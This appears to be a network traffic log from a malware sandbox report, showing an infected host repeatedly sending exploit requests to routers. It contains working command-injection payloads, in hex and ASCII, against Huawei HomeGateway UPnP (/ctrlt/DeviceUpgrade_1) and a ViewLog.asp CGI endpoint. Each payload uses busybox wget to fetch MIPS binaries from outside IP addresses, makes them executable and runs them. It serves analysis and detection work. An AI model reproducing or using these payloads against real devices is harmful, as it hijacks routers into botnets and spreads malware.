                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:36.156157017 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:48.187799931 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:13.019063950 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:02.169815063 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                133192.168.2.156026031.136.166.1008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.906248093 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:26.492377996 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.644289017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:30.012351036 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:34.620291948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:43.835849047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.779335976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:39.642293930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                134192.168.2.155353285.204.109.1628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.909260035 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:26.099190950 CET458INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 05:20:32 GMT
                                                Server: TruVision
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                X-FRAME-OPTIONS: SAMEORIGIN
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                135192.168.2.155936231.192.199.1908080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.919500113 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:26.119683981 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:20:25 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                136192.168.2.154400894.120.160.2168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:25.948678017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
